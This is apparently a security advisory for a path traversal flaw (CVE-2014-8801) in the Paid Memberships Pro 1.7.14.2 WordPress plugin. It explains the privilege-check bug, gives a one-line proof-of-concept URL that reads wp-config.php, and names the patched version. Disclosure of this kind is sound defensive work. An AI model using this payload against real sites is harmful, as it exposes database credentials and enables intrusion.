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Paid Memberships Pro 1.7.14.2 Path Traversal

Paid Memberships Pro 1.7.14.2 Path Traversal
Posted Nov 20, 2014
Authored by Kacper Szurek

Paid Memberships Pro version 1.7.14.2 suffers from a path traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2014-8801
MD5 | 7cf6748c84b78ba623a27a1ed3929c4c

Paid Memberships Pro 1.7.14.2 Path Traversal

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# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801

1. Description

getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.

http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php

3. Solution:

Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/

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